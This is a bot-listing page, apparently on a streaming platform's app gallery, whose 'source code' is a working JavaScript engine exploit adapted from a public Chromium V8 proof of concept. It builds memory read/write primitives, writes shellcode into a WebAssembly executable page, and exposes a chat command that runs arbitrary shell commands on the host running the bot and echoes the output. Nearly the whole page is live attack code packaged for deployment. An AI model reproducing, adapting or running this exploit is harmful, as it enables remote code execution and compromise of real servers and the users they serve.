Bots Home
|
Create an App
PoC-5825
Author:
h1c_jun19_broadcaster_49
Description
Source Code
Launch Bot
Current Users
Created by:
H1c_Jun19_Broadcaster_49
// original: // https://raw.githubusercontent.com/exodusintel/Chromium-941743/master/exp.js let console = { log(message) { cb.sendNotice([...arguments].join(" ")); } } // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16).padStart(16, '0'); } BigInt.prototype.dump = function() { let dumpstr = ""; for (let i = 0n; i < 64n; i += 8n) { let byte = Number((this >> i) & 0xFFn); if (byte != 10 && (byte < 32 || byte > 127)) { byte = 46; } dumpstr += String.fromCharCode(byte); } return dumpstr; } BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.hex = function() { return '0x' + this.toString(16).padStart(16, '0'); } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } // ******************* // Exploit starts here // ******************* // This call ensures that TurboFan won't inline array constructors. Array(2**30); // we are aiming for the following object layout // [output of Array.map][packed float array][typed array][Object] // First the length of the packed float array is corrupted via the original vulnerability, // then the float array can be used to modify the backing store of the typed array, thus achieving AARW. // The Object at the end is used to implement addrof // offset of the length field of the float array from the map output const float_array_len_offset = 23; // offset of the length field of the typed array const tarray_elements_len_offset = 24; // offset of the address pointer of the typed array const tarray_elements_addr_offset = tarray_elements_len_offset + 1; const obj_prop_b_offset = 33; // Set up a fast holey smi array, and generate optimized code. let a = [1, 2, ,,, 3]; let cnt = 0; var tarray; var float_array; var obj; let xfer_array, xfer_array_addr; let wasm_inst, wasm_inst_addr, wasm_func; function mapping(a) { function cb(elem, idx) { if (idx == 0) { float_array = [0.1, 0.2]; tarray = new BigUint64Array(2); tarray[0] = 0x41414141n; tarray[1] = 0x42424242n; obj = {'a': 0x31323334, 'b': 1, 'c': 2, 'd': 0x51525354}; obj['b'] = xfer_array; obj['c'] = wasm_inst; } if (idx > float_array_len_offset) { // minimize the corruption for stability throw "stop"; } return idx; } return a.map(cb); } function xfer_alloc() { xfer_array = [BigInt(0x61616161).i2f(), BigInt(0x62626262).i2f()]; // for (let i = 0; i < 2621440; i++) // xfer_array.push(1.2); for (let i = 0; i < 1024*1024; i++) xfer_array.push(1.2); } function wasm_alloc() { let importObject = { imports: { imported_func: arg => console.log(arg) } }; let bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; let wasm_code = new Uint8Array(bc); wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); wasm_func = wasm_inst.exports.exported_func; } function get_rw() { for (let i = 0; i < 10 ** 5; i++) { mapping(a); } // Now lengthen the array, but ensure that it points to a non-dictionary // backing store. a.length = (32 * 1024 * 1024)-1; a.fill(1, float_array_len_offset, float_array_len_offset+1); a.fill(1, float_array_len_offset+2); a.push(2); a.length += 500; // Now, the non-inlined array constructor should produce an array with // dictionary elements: causing a crash. cnt = 1; try { mapping(a); } catch(e) { // relative RW from the float array from this point on let sane = sanity_check(); console.log('sanity_check ==', sane); if (!sane) { console.log('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().hex()); console.log('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().hex()); console.log('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().hex()); throw 'tarray bad layout'; } xfer_array_addr = float_array[33].f2i() - 1n; wasm_inst_addr = float_array[34].f2i() - 1n; console.log('xfer addr: ' + xfer_array_addr.hex()); console.log('wasm addr: ' + wasm_inst_addr.hex()); } } function sanity_check() { let success = true; success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141; success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242; success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000; return success; } function read8(addr) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); let result = tarray[0]; float_array[tarray_elements_len_offset+1] = original; return result; } function write8(addr, val) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); tarray[0] = val; float_array[tarray_elements_len_offset+1] = original; } // function addrof(o) { // obj['b'] = o; // return float_array[obj_prop_b_offset].f2i(); // } let shellcode = [0x3d8d4800000016b8n, 0x8348050f00000151n, 0x141850f00f8n, 0x48050f00000039b8n, 0x1308c0f00f883n, 0xb8000000a0850f00n, 0xfff314800000003n, 0x8b4800000003b805n, 0xb8050f000001183dn, 0xe3d8b4800000021n, 0x1be000001n, 0x4800000021b8050fn, 0x2be000000fb3d8bn, 0x58d48050f000000n, 0xf20589480000016bn, 0x167058d48000000n, 0xec0589480000n, 0x160058b4800n, 0xe205894808c08348n, 0xfb058d48000000n, 0xe40589480000n, 0x8d480000003bb800n, 0x358d480000012a3dn, 0xca158d48000000b1n, 0x3cb8050f000000n, 0x48050fff31480000n, 0x3b80000008f0589n, 0x7f3d8b48000000n, 0x48db3148050f0000n, 0xb8000001020d8bn, 0x633d8b48000000n, 0xc68348ce89480000n, 0x48118b48de014808n, 0xf88348050fda29n, 0x48d0ebc30148057en, 0x8948000000d2058bn, 0x8b4800000003b818n, 0xb8050f000000303dn, 0x2a3d8b480000003en, 0x9be000000n, 0x480000003db8050fn, 0x3148000000173d8bn, 0xfd2314dd23148f6n, 0xc3c0314805n, 0x0n, 0x0n, 0x0n, 0x0n, 0x0n, 0x0n, 0x0n, 0x5441500000000000n, 0x2f3a6e69622f3d48n, 0x73752f3a6e696273n, 0x752f3a6e69622f72n, 0x3a6e6962732f7273n, 0x636f6c2f7273752fn, 0x2f3a6e69622f6c61n, 0x61636f6c2f727375n, 0x2f006e6962732f6cn, 0x687361622f6e6962n, 0x9090909000632d00n, 0x102030405060708n]; function rce() { let rwx_addr = read8(wasm_inst_addr + 0xe0n) + 18n; console.log('rwx: ' + rwx_addr.hex()); let shellcode_addr = rwx_addr; let xfer_elements_addr = read8(xfer_array_addr + 16n) - 1n; let xfer_data_addr = xfer_elements_addr + 16n; let v0 = read8(xfer_data_addr); let v1 = read8(xfer_data_addr + 8n); if (v0 != 0x61616161n || v1 != 0x62626262n) { console.log('xfer[0]: ' + v0.hex()); console.log('xfer[1]: ' + v1.hex()); throw 'xfer bad layout'; } const xfer_dummy = 0x0102030405060708n; let xfer_index = shellcode.lastIndexOf(xfer_dummy); shellcode[xfer_index] = xfer_data_addr; for (let i = 0; i < shellcode.length; i++) { write8(shellcode_addr + BigInt(i * 8), shellcode[i]); } } function str2bia(s) { let ints = []; for (let i = 0; i < s.length; i += 8) { let val = 0n; for (let j = 0; j < 8 && i + j < s.length; j++) { let byte = s.charCodeAt(i + j); val |= BigInt(byte) << BigInt(j * 8); } ints.push(val); } return ints; } function run(command) { let comm_ints = str2bia(command + String.fromCharCode(0)); let xfer_size = (xfer_array.length * 8) - 8; xfer_array[0] = BigInt(xfer_size).i2f(); for (let i = 0; i < comm_ints.length; i++) { xfer_array[1 + i] = comm_ints[i].i2f(); } wasm_func(); xfer_size = xfer_array[0].f2i(); console.log('out len: ' + xfer_size.hex()); let output = ''; let xfer_count = Number((xfer_size + 7n) / 8n); for (let i = 0; i < xfer_count; i++) { output += xfer_array[1 + i].f2i().dump(); } let lines = output.substring(0, Number(xfer_size)).trimRight().split('\n'); for (let i = 0; i < lines.length; i++) { let chunks = lines[i].match(/.{1,2000}/g) || ['']; for (let j = 0; j < chunks.length; j++) { console.log(i + '.' + j + ': ' + chunks[j]); } } } let initialized = false; function init() { if (initialized) return; initialized = true; wasm_alloc(); xfer_alloc(); get_rw(); rce(); } cb.onMessage(function (msg) { try { let message = msg['m']; if (message == 'go') { init(); console.log('=== done'); } else if (message.startsWith('run ')) { run(message.substring(4)); console.log('=== done'); } } catch (error) { console.log('exception', error); } }); console.log('=== loaded');
© Copyright Chaturbate 2011- 2026. All Rights Reserved.